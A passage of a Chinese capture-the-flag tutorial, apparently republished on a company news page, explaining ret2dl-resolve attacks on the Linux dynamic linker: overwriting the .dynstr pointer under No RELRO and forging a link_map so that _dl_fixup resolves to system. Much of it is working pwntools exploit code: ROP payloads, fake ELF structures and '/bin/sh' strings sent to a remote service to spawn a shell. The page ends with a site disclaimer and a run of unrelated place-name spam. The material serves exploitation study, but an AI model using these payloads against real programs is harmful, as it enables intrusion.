call_exit_addr = 0x08048495
read_plt = 0x08048300
start_addr = 0x08048350
dynstr_d_ptr_address = 0x080496a4
fake_dynstr_address = 0x08049800
fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00system\x00\x00\x00\x00\x00\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"

注意由于memset的一部分也會被system覆蓋掉,我們應該把剩余的部分設置為\x00,防止后面的符號偏移值錯誤。memset由于是在read函數運行之前運行的,所以它的符號已經沒用了,可以被覆蓋掉。
接下來我們構造ROP鏈依次寫入偽造的dynstr字符串和其保存在Elf32_Dyn中的地址。

io = remote("172.17.0.2", 10001)

payload = ""payload += 'A'*22                                                #paddingpayload += p32(read_plt)                                #修改.dynstr對應的Elf32_Dyn.d_ptrpayload += p32(start_addr)                                
payload += p32(0)                                                
payload += p32(dynstr_d_ptr_address)        
payload += p32(4)                                                
io.send(payload)sleep(0.5)
io.send(p32(fake_dynstr_address))                #新的.dynstr地址sleep(0.5)

payload = ""payload += 'A'*22                                                #paddingpayload += p32(read_plt)                                #在內存中偽造一塊.dynstr字符串payload += p32(start_addr)                                
payload += p32(0)                
payload += p32(fake_dynstr_address)
payload += p32(len(fake_dynstr_data)+8)        #長度是.dynstr加上8,把"/bin/sh\x00"接在后面io.send(payload)sleep(0.5)
io.send(fake_dynstr_data+"/bin/sh\x00")        #把/bin/sh\x00接在后面sleep(0.5)

此時還剩下函數exit未被調用,我們通過前面的步驟偽造了.dynstr,將其中的exit改成了system,因此根據_dl_fixup的原理,此時函數將會解析system的首地址并返回到system上。Linux pwn中針對函數重定位流程的幾種攻擊分別是什么64位下的利用方式與32位下并沒有區別,此處不再進行詳細分析。

0x06 fake link_map

由于各種保護方式的普及,現在能碰到No RELRO的程序已經很少了,因此上節所述的攻擊方式能用上的機會并不多,所以這節我們介紹另外一種方式——通過偽造link_map結構體進行攻擊。
在前面的源碼分析中,我們主要把目光集中在未解析過的函數在_dl_fixup的流程中而忽略了另外一個分支。

_dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS           ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif           struct link_map *l, ElfW(Word) reloc_arg)
{
  ………… //變量定義,初始化等等  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判斷函數是否被解析過。此前我們一直利用未解析過的函數的結構體,所以這里的if始終成立   …………
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
…………
    }
  else    {
      /* We already found the symbol.  The module (and therefore its load
         address) is also known.  */      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }
 …………
}

通過注釋我們可以看到之前的if起的是判斷函數是否被解析過的作用,如果函數被解析過,_dl_fixup就不會調用_dl_lookup_symbol_x對函數進行重定位,而是直接通過宏DL_FIXUP_MAKE_VALUE計算出結果。這邊用到了link_map的成員變量l_addr和Elf32/64_Sym的成員變量st_value。這里的l_addr是實際映射地址和原來指定的映射地址的差值,st_value根據對應節的索引值有不同的含義。不過在這里我們并不需要關心那么多,我們只需要知道如果我們能使l->l_addr + sym->st_value指向一個函數的在內存中的實際地址,那么我們就能返回到這個函數上。但是問題來了,如果我們知道了system在內存中的實際地址,我們何苦用那么麻煩的方式跳轉到system上呢?所以答案是我們不知道。我們需要做的是讓l->l_addr和sym->st_value其中之一落在got表的某個已解析的函數上(如__libc_start_main),而另一個則設置為system函數和這個函數的偏移值。既然我們都偽造了link_map,那么顯然l_addr是我們可以控制的,而sym根據我們的源碼分析,它的值最終也是從link_map中獲得的(很多節區地址,包括.rel.plt, .dynsym, dynstr都是從中取值,更多細節可以對比調試時的link_map數據與源碼進行學習)

const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

所以這兩個值我們都可以進行偽造。此時只要我們知道libc的版本,就能算出system與已解析函數之間的偏移了。
說到這里可能有人會想到,既然偽造的link_map那么厲害,那么我們為什么不在前面的dl-resolve中直接偽造出.dynstr的地址,而要通過一條冗長的求值鏈返回到system呢?我們來看一下上面的這行代碼

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

根據位于glibc/include/Link.h中的link_map結構體定義,這里的l_scope是一個當前link_map的查找范圍數組。我們從link_map結構體的定義可以看出來其實這是一個雙鏈表,每一個link_map元素都保存了一個函數庫的信息。當查找某個符號的時候,實際上是通過遍歷整個雙鏈表,在每個函數庫中進行的查詢。顯然,我們不可能知道libc的link_map地址,所以我們沒辦法偽造l_scope,也就沒辦法偽造整個link_map使流程進入_dl_lookup_symbol_x,只能選擇讓流程進入“函數已被解析過”的分支。
回到主題,我們為了讓函數流程繞過_dl_lookup_symbol_x,必須偽造sym使得ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0,根據sym的定義,我們就得偽造symtab和reloc->r_info,所以我們得偽造DT_SYMTAB, DT_JMPREL,此外,我們得偽造strtab為可讀地址,所以還得偽造DT_STRTAB,所以我們需要偽造link_map前0xf8個字節的數據,需要關注的分別是位于link_map+0的l_addr,位于link_map+0x68的DT_STRTAB指針,位于link_map+0x70的DT_SYMTAB指針和位于link_map+0xF8的DT_JMPREL指針。此外,我們需要偽造Elf64_Sym結構體,Elf64_Rela結構體,由于DT_JMPREL指向的是Elf64_Dyn結構體,我們也需要偽造一個這樣的結構體。當然,我們得讓reloc_offset為0.為了偽造的方便,我們可以選擇讓l->l_addr為已解析函數內存地址和system的偏移,sym->st_value為已解析的函數地址的指針-8,即其got表項-8。(這部分在源碼中似乎并沒有體現出來,但是調試的時候發現實際上會+8,原因不明)我們還是以~/XMAN 2016-level3_64/level3_64為例進行分析。
首先我們來構造一個fake link_map

fake_link_map_data = ""fake_link_map_data += p64(offset)                        # +0x00 l_addr offset = system - __libc_start_mainfake_link_map_data += '\x00'*0x60
fake_link_map_data += p64(DT_STRTAB)                #+0x68 DT_STRTABfake_link_map_data += p64(DT_SYMTAB)                #+0x70 DT_SYMTABfake_link_map_data += '\x00'*0x80
fake_link_map_data += p64(DT_JMPREL)                #+0xf8 DT_JMPREL后面的link_map數據由于我們用不上就不構造了。根據我們的分析,我們留出來四個8字節數據區用來填充相應的數據,其他部分都置為0.
接下來我們偽造出三個結構體
fake_Elf64_Dyn = ""fake_Elf64_Dyn += p64(0)                                #d_tagfake_Elf64_Dyn += p64(0)                                #d_ptrfake_Elf64_Rela = ""fake_Elf64_Rela += p64(0)                                #r_offsetfake_Elf64_Rela += p64(7)                                #r_infofake_Elf64_Rela += p64(0)                                 #r_addendfake_Elf64_Sym = ""fake_Elf64_Sym += p32(0)                                 #st_namefake_Elf64_Sym += 'AAAA'                                #st_info, st_other, st_shndxfake_Elf64_Sym += p64(main_got-8)         #st_valuefake_Elf64_Sym += p64(0)                                 #st_size

顯然我們必須把r_info設置為7以通過檢查。為了使ELFW(ST_VISIBILITY) (sym->st_other)不為0從而躲過_dl_lookup_symbol_x,我們直接把st_other設置為非0.st_other也必須為非0以避開_dl_lookup_symbol_x,進入我們希望要的分支。
我們注意到fake_link_map中間有許多用\x00填充的空間,這些地方實際上寫啥都不影響我們的攻擊,因此我們充分利用空間,把三個結構體跟/bin/sh\x00也塞進去

offset = 0x253a0 #system - __libc_start_mainfake_Elf64_Dyn = ""fake_Elf64_Dyn += p64(0)                                                                #d_tag                從link_map中找.rel.plt不需要用到標簽, 隨意設置fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)                #d_ptr                指向偽造的Elf64_Rela結構體,由于reloc_offset也被控制為0,不需要偽造多個結構體fake_Elf64_Rela = ""fake_Elf64_Rela += p64(fake_link_map_addr - offset)                #r_offset        rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可讀寫就行fake_Elf64_Rela += p64(7)                                                                #r_info                index設置為0,最后一字節必須為7fake_Elf64_Rela += p64(0)                                                                #r_addend        隨意設置fake_Elf64_Sym = ""fake_Elf64_Sym += p32(0)                                                                #st_name        隨意設置fake_Elf64_Sym += 'AAAA'                                                                #st_info, st_other, st_shndx st_other非0以避免進入重定位符號的分支fake_Elf64_Sym += p64(main_got-8)                                                #st_value        已解析函數的got表地址-8,-8體現在匯編代碼中,原因不明fake_Elf64_Sym += p64(0)                                                                #st_size        隨意設置fake_link_map_data = ""fake_link_map_data += p64(offset)                        #l_addr,偽造為兩個函數的地址偏移值fake_link_map_data += fake_Elf64_Dynfake_link_map_data += fake_Elf64_Relafake_link_map_data += fake_Elf64_Symfake_link_map_data += '\x00'*0x20fake_link_map_data += p64(fake_link_map_addr)                #DT_STRTAB        設置為一個可讀的地址fake_link_map_data += p64(fake_link_map_addr + 0x30)#DT_SYMTAB        指向對應結構體數組的地址fake_link_map_data += "/bin/sh\x00"                                        
fake_link_map_data += '\x00'*0x78fake_link_map_data += p64(fake_link_map_addr + 0x8)        #DT_JMPREL        指向對應數組結構體的地址

現在我們需要做的就是棧劫持,偽造參數跳轉到_dl_fixup了。前兩者好說,_dl_fixup地址也在got表中的第2項。但是問題是這是一個保存了函數地址的地址,我們沒辦法放在棧上用ret跳過去,難道要再用一次萬能gadgets嗎?不,我們可以選擇這個Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

把這行指令地址放到棧上,用ret就可以跳進_fix_up.現在我們需要的東西都齊了,只要把它們組裝起來,pwn it!Linux pwn中針對函數重定位流程的幾種攻擊分別是什么

上述就是小編為大家分享的Linux pwn中針對函數重定位流程的幾種攻擊分別是什么了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

宁陕县| 资兴市| 石城县| 台安县| 阜阳市| 阜宁县| 牙克石市| 安康市| 内乡县| 阜平县| 尖扎县| 文登市| 西畴县| 洮南市| 茶陵县| 剑河县| 手游| 甘南县| 大余县| 桂林市| 文山县| 互助| 伊吾县| 秦皇岛市| 漠河县| 武邑县| 华亭县| 西安市| 井研县| 宿松县| 阿克苏市| 平乐县| 法库县| 香港| 隆尧县| 剑河县| 景德镇市| 高尔夫| 湖南省| 康保县| 六安市|